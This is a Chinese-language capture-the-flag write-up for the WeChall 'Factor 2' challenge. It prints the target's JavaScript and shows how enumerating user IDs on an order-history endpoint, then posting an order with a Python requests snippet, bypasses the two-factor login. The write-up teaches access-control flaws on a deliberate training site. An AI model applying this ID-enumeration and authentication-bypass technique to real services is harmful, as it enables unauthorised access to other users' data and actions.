WeChall Factor2 - Write Up

题干:

Factor 2

Hello hacker

 

We have outsourced an application to an indian programmer and got disappointed.

The application is not multi language capable as agreed, but the worst is...

One of our coworkers could completely circumvent the two-factor authentication within minutes.

Can you do this as well?

 

To prove your success you have to order a special article.

 

Good luck!

gizmore

首先进入链接,发现就是一个简单的登陆界面:

界面

右键,查看源代码,发现 factor2.js ,:

发现factor2.js

发现 factor2.js 里面是具体的逻辑实现代码:

"use strict";
/**
 * (c)2019 Failsoft
 */
window.gurroga = {};

window.gurroga.api = {
	login: '../backend/api/login.php',
	auth: '../backend/api/authenticate.php',
}

window.gurroga.USER = null;
window.gurroga.ARTICLES = null;

window.gurroga.init = function() {
	console.log('init()');
	window.jsGrid.locale("de");
};

window.gurroga.showMessage = function(message) {
	console.log('showMessage()', message);
	$('#successmessage').html(message);
	$('#successpopup').popup();
	$('#successpopup').popup("open");
};

window.gurroga.showError = function(errorMessage) {
	console.log('showError()', errorMessage);
	$('#errormessage').text(errorMessage);
	$('#errorpopup').popup();
	$('#errorpopup').popup("open");
};

window.gurroga.goto = function(page) {
	console.log('goto()', page);
	$.mobile.changePage(page);
};

window.gurroga.disable = function(selector) {
	var input = $(selector);
	input.prop('disabled', true)
	input.parent().addClass("ui-state-disabled");
};

window.gurroga.enable = function(selector) {
	var input = $(selector);
	input.prop('disabled', false)
	input.parent().removeClass("ui-state-disabled");
};

window.gurroga.login = function() {
	console.log('login()');
	if (window.gurroga.USER) {
		window.gurroga.authenticate();
	}
	else {
		var username = $('#username').val();
		var password = $('#password').val();
		var postData = {username: username, password: password};
		$.post(window.gurroga.api.login, postData)
		.done(function(result){
			console.log(result);
			window.gurroga.USER = result.user;
			window.gurroga.ARTICLES = result.artikel;
			$('.username').text(result.user.vorname + ' ' + result.user.nachname);
			window.gurroga.disable('#username');
			window.gurroga.disable('#password');
			window.gurroga.enable('#authtoken');
			window.gurroga.buildArticles(result.artikel);
		})
		.fail(function(result){
			console.error(result);
			window.gurroga.showError(result.responseJSON.message);
		});
	}
};

window.gurroga.logout = function() {
	console.log('logout()');
	window.gurroga.USER = null;
	window.gurroga.ARTICLES = null;
}

window.gurroga.authenticate = function() {
	console.log('authenticate()');
	var token = $('#authtoken').val();
	var postData = {user: window.gurroga.USER.id, token: token};
	$.post(window.gurroga.api.auth, postData)
	.done(function(result){
		console.log(result);
		window.gurroga.goto('#welcome');
	})
	.fail(function(result){
		console.error(result);
		window.gurroga.showError(result.responseJSON.message);
	});
};

window.gurroga.buildArticles = function(artikel) {
	console.log('buildArticles()', artikel);
	$('#bestellartikel').empty();
	for (var a in artikel) {
		var b = artikel[a];
		$('#bestellartikel').append($('<option />').text(b.title).val(b.id));
	}
};

$(window.document).on('pagechange', function(event, args) {
	var funcname = 'changeTo_'+args.toPage[0].id;
	console.log('pagechange()', funcname);
	var func = window.gurroga[funcname];
	if (func) {
		func();
	}
});

window.gurroga.changeTo_login = function() {
	console.log('changeTo_login()');
	window.gurroga.enable('#username');
	window.gurroga.enable('#password');
	window.gurroga.disable('#authtoken');
};


window.gurroga.changeTo_historie = function() {
	console.log('changeTo_historie()');
	$('#historygrid').jsGrid({
		width: '100%',
		sorting: true,
		paging: false,
		autoload: true,
		controller: {
			loadData: function() {
				var d = $.Deferred();
				$.ajax({
					url: "../backend/api/bestellhistorie.php?user="+window.gurroga.USER.id,
					dataType: "json"
				}).done(function(response) {
					d.resolve(response.result);
				});
				return d.promise();
			}
		},
		fields: [
			{name: "article.title", type: "text", title: "Artikel"},
			{name: "article.amt", type: "text", title: "St眉ckzahl"},
			{name: "amt", type: "text", title: "Bestellmenge"},
			{name: "ordered_at", type: "text", title: "Bestelldatum"},
			{name: "delivered_at", type: "text", title: "Lieferdatum"},
		]
  	});
}

window.gurroga.order = function() {
	console.log('order()');
	var article = $('#bestellartikel').val();
	var amount = $('#bestellmenge').val();
	var postData = {user: window.gurroga.USER.id, id: article, amt: amount};
	$.post('../backend/api/bestellen.php', postData)
	.done(function(result){
		console.log(result);
		window.gurroga.showMessage(result);
	})
	.fail(function(result){
		console.error(result);
		window.gurroga.showError(result.responseText);
	});
};

大致流程是用户通过用户名和密码进行登录,后端返回用户 id 和 article。

        var username = $('#username').val();
		var password = $('#password').val();
		var postData = {username: username, password: password};
		$.post(window.gurroga.api.login, postData)
		.done(function(result){
			console.log(result);
			window.gurroga.USER = result.user;
			window.gurroga.ARTICLES = result.artikel;
			$('.username').text(result.user.vorname + ' ' + result.user.nachname);
			window.gurroga.disable('#username');
			window.gurroga.disable('#password');
			window.gurroga.enable('#authtoken');
			window.gurroga.buildArticles(result.artikel);
		})

思路

1.观察到没有字符过滤,首先想到的是利用sql注入,行不通。(可能是太菜了)

2.一般网站都会采取cookies+session来作访问控制,然而没有在本题中看到相关操作。又观察到用户数据中的 user_id 多次被用到,因此猜测在本例中用户id是用户凭据,所以突破口可能在它身上。

解决

仔细审阅代码,发现order操作是通过传递用户id、文章id以及订阅数量直接操作的,如果能够知道这两个东西就直接能够解题了。

    window.gurroga.order = function() {
	console.log('order()');
	var article = $('#bestellartikel').val();
	var amount = $('#bestellmenge').val();
	var postData = {user: window.gurroga.USER.id, id: article, amt: amount};
	$.post('../backend/api/bestellen.php', postData)
	.done(function(result){
		console.log(result);
		window.gurroga.showMessage(result);
	})
	.fail(function(result){
		console.error(result);
		window.gurroga.showError(result.responseText);
	});

尝试随机取id直接post数据:

postdata = {
        'user': 1,
        'id': 1,
        'amt': 1
    }

得到:

<div>Vielen Dank für Ihre Bestellung!</div>

翻译:感谢您的订单!

经过多次尝试,得到的都是上面这个结果,此路不通。

再次审查factor2.js,发现还有一段与访问历史相关的api接口:

loadData: function() {
				var d = $.Deferred();
				$.ajax({
					url: "../backend/api/bestellhistorie.php?user="+window.gurroga.USER.id,
					dataType: "json"
				}).done(function(response) {
					d.resolve(response.result);
				});

也是通过用户id访问的,再次尝试构造url:

https://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellhistorie.php?user=1

得到:

{
	"status": "success",
	"result": [{
		"article": {
			"id": 1,
			"name": "bueroklammern",
			"amt": 100,
			"title": "B\u00fcroklammern"
		},
		"amt": 1,
		"ordered_at": "2018-10-29",
		"delivered_at": "2018-10-30"
	}]
}

发现有搞头,返回了数据!既然有数据返回,说明我们猜的user id是存在的,而且上面的数据还返回了article的id。仔细查看所有id都是1,这不和之前猜的数据一摸一样吗。。。决定多试几个id,依次累加,当id取到5的时候,出现了问题,没有数据返回了。本着小心谨慎地态度,试了一下user=6:

{
	"status": "success",
	"result": [{
		"article": {
			"id": 1,
			"name": "bueroklammern",
			"amt": 100,
			"title": "B\u00fcroklammern"
		},
		"amt": 1,
		"ordered_at": "2018-10-30",
		"delivered_at": "2018-10-31"
	}, {
		"article": {
			"id": 5678363,
			"name": "solution",
			"amt": 1,
			"title": "Challenge solution for Factor 2"
		},
		"amt": 1,
		"ordered_at": "2018-11-01",
		"delivered_at": "2018-11-02"
	}]
}

这下发现了一个特殊的数据,名字直接是 solution 了,赶紧order!

url = 'http://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellen.php'
    postdata = {
        'user': 6,
        'id': 5678363,
        'amt': 1
    }
    with requests.post(url=url, data=postdata) as response:
        print(response.text)

成功解决!再看题目的时候,发现原来题干里已经带了提示了:

To prove your success you have to order a special article.

小细节

<div class="gwf_messages">
	<span class="gwf_msg_t">WeChall</span>
		<ul>
		<li>Your answer is correct. To keep track of your progress you need to register.</li>

		</ul>
</div>
<div class="cl"></div>

PS:这里因为是直接post,没有带wechall的cookies,所以提示需要注册。只需要在post时带上cookies就行了。

如果发现有错误或者有更好的思路和方法,欢迎留言评论。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值